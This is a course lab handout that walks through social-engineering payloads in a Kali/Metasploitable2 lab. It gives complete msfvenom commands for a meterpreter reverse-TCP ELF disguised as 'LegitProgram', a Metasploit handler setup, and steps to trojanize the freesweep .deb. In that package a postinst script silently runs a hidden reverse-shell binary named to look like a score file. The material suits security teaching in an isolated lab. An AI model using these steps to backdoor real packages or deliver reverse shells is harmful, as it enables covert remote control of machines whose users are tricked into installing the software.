Social Engineering 2

In this lab you will create some various payloads that COULD be delivered via social engineering.

Your victim machine will be your metasploit instance. You can re-create these if you need by using my `hack studio script` as shown in the resources section. It is always a good idea to do a `git pull` on that hack studio directory to see if I have updated anything.

To make things easier, I would consider using ssh to connect to your kali instance like:

```
ssh cituser@144.38.xxx.yy -p 2786
```

From there you can ssh to your metasploit instance like:

```
ssh -oHostKeyAlgorithms=+ssh-rsa msfadmin@192.168.100.3
```

Most of this assignment was pulled from here

Part 1

Metasploit includes a tool - msfvenom - that can package Metasploit exploits into stand-alone executables that a user can be tricked into running via a social engineering attack.

To see a list of all available payloads, do:

```
$ msfvenom --list payloads
```

It's a long list, and the same list of available payloads that Metasploit normally has available to run after an exploit. Just, this time no exploit is needed, since we're using social engineering to trick the user into running the payload.

To see a list of available output formats, CPU architectures, and platforms, do:

```
$ msfvenom --list formats
$ msfvenom --list archs
$ msfvenom --list platforms
```

Make an executable that is runnable on our Metasploitable2 VM, a Linux host. That would be the .elf file type. (Windows would be .exe). Pick a payload from the list that works on Linux, and ask msfvenom to package it for you and save it to /tmp/LegitProgram. This payload is hardwired to connect back to the LHOST IP address, which should be Kali's IP:

```
$ msfvenom --payload linux/x86/meterpreter_reverse_tcp \
--arch x86 \
--format elf \
--platform linux \
LHOST=192.168.100.2 \
LPORT=5678 \
> /tmp/LegitProgram
```

Tip 1: For clarity, this long command was split into multiple lines with the Bash "line continuation" character . Keep that character in if you enter the multi-line command, or omit it if you enter the command as a single line.

Tip 2: Did your console fill up with "gibberish" when you ran this? Then you didn't correctly redirect the output (using >) to the file /tmp/LegitProgram, and thus msfvenom output the executable file to standard output instead.

Change to the /tmp directory, and start a simple webserver in Kali to host this "LegitProgram" binary. We're using this as a way to get the binary on the target machine since we're in control of both sides, but in reality this would be accomplished through some social engineering attack.

```
$ cd /tmp
$ python3 -m http.server 8888
```

Over on your Metasploitable2 VM, download the file from the webserver running in the Kali VM:

```
$ wget 192.168.100.2:8888/LegitProgram
```

Warning: If you have to re-run this wget command for any reason and leave the original file in place, the next file will be named LegitProgram.1, LegitProgram.2, etc, as shown in the wget output. Either delete the older copy prior to running wget again, or make a note of what the most recent file name is.

At this point, you can CTRL-C on the webserver, we don't need it any more.

Run metasploit

```
$ sudo service postgresql start
$ msfconsole
```

Use the generic payload handler that provides Metasploit features to exploits run outside of the framework. Configure it for the payload you just downloaded on the target VM, as it needs to know

- What payload is incoming
- What IP the payload is connecting to, and
- What port the payload is connecting to.

```
msf6>  use exploit/multi/handler
msf6>  set PAYLOAD linux/x86/meterpreter_reverse_tcp
msf6>  set LHOST 192.168.100.2
msf6>  set LPORT 5678
msf6>  set ExitOnSession false
```

Run this service in the background as a job.

```
msf6> exploit -j
```

Now, over in the Metasploitable2 VM, run the payload.

```
$ chmod +x LegitProgram     # Needs to be marked as executable
$ ./LegitProgram
```

Back in Kali, you should see a notice that a new session was opened.

```
[*] Meterpreter session 1 opened (172.16.196.2:5678 -> 172.16.196.4:33423) at 2021-02-07 00:20:41
-0800
msf6> sessions --list
msf6> sessions -i X   # where X = number of Meterpreter session
```

You should be able to use the `help` command from here to decide what to do to your victim.

Part 2

Rather than coax the user into running a program that is exclusively a back door (which might make them suspicious), what if the backdoor is bundled with some legitimate program? Let's build an Linux installer package (.deb file) for the minesweeper game "freesweep", but include an extra surprise in the bundle.

First, on Kali, download the legitimate .deb file from the package manager. Since we're going to run this on the OLD Metasploitable2 VM (32-bit), let's just grab the correct binary out of the Ubuntu archives. That way, the dynamic library dependencies will work out OK.

```
$ mkdir -p /tmp/working
$ cd /tmp/working
$ wget http://old-releases.ubuntu.com/ubuntu/pool/universe/f/freesweep/freesweep_0.88-4.3_i386.deb
```

Second, extract the files into that working directory

```
$ dpkg -x freesweep_0.88-4.3_i386.deb package
```

Third, add a DEBIAN directory to contain the "extra surprise" we are included in this package

```
$ mkdir /tmp/working/package/DEBIAN
```

In the DEBIAN directory, create a new file called control with the following contents:

```
$ nano /tmp/working/package/DEBIAN/control

Package: freesweep
Version: 0.88-4.3
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
 Freesweep is an implementation of the popular minesweeper game, where
 one tries to find all the mines without igniting any, based on hints given
 by the computer. Unlike most implementations of this game, Freesweep
 works in any visual text display - in Linux console, in an xterm, and in
 most text-based terminals currently in use.
```

In the DEBIAN directory, create a post-installation script called postinst with the following commands that

- Change the permissions of the innocently-named “freesweep_scores” to include the execute flag
- Run the innocently-named “freesweep_scores”, and
- Run the legitimate freesweep program

```
#!/bin/sh
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep
```

Make this script executable

```
$ chmod +x /tmp/working/package/DEBIAN/postinst
```

Now, generate our backdoor program “freesweep_scores”:

```
$ msfvenom --payload linux/x86/meterpreter_reverse_tcp \
--arch x86 \
--format elf \
--platform linux \
LHOST=192.168.100.2 \
LPORT=5678 \
--out /tmp/working/package/usr/games/freesweep_scores
```

Finally, build the new .deb file with the backdoor program:

```
$ cd /tmp/working/package/DEBIAN
$ dpkg-deb -Zgzip --build /tmp/working/package
# -Zgzip is needed because Metasploitable2 OS is much older than Kali's, and
# package manager doesn't know how to uncompress newer .deb files
```

Rename the output back into the original freesweep.deb file name (no one suspects a thing!), and move it to /tmp

```
$ mv /tmp/working/package.deb /tmp/freesweep.deb
$ cd /tmp
```

As you did in the previous section: Run the web server and copy the new freesweep.deb to your Metasploitable2 VM with wget.

As you did in the previous section: Run Metasploit and launch the exploit/multi/handler with the correct options to listen for an incoming connection. Or, if msfconsole is still active, the hander may be still running.

On the Metasploitable2 VM, install this super fun game your friend sent you! Before you run it, do something like: `export TERM=xterm`.

```
$ sudo dpkg -i freesweep.deb
# Oh look, the game started automatically!
# Let's play, this looks fun!
```

On Kali, view the active sessions

```
msf6> sessions --list
msf6> sessions -i  x #x is the number you want to interact with
meterpreter> sysinfo
```

Troubleshooting:

Did something go wrong in your steps? To clear out metasploitable2 and start again:

```
$ sudo apt-get remove freesweep
$ rm freesweep.deb
# And download a fixed .deb file and try installing it again
```

You can verify that your copy of freesweep.deb contains your backdoor program with dpkg -c freesweep.deb.

If you have an error like: `Error opening terminal: xterm-256color.` when running the freesweep program, you should do: `export TERM=xterm` in the terminal prior to launching the game.

To pass off

Prove that sessions are launched when the executables are.

After testing, you can delete any existing sessions with something like:

```
sessions -k 1
```

The new sessions should launch when the malicious exploit is launched again assuming you still have a listener on the same port.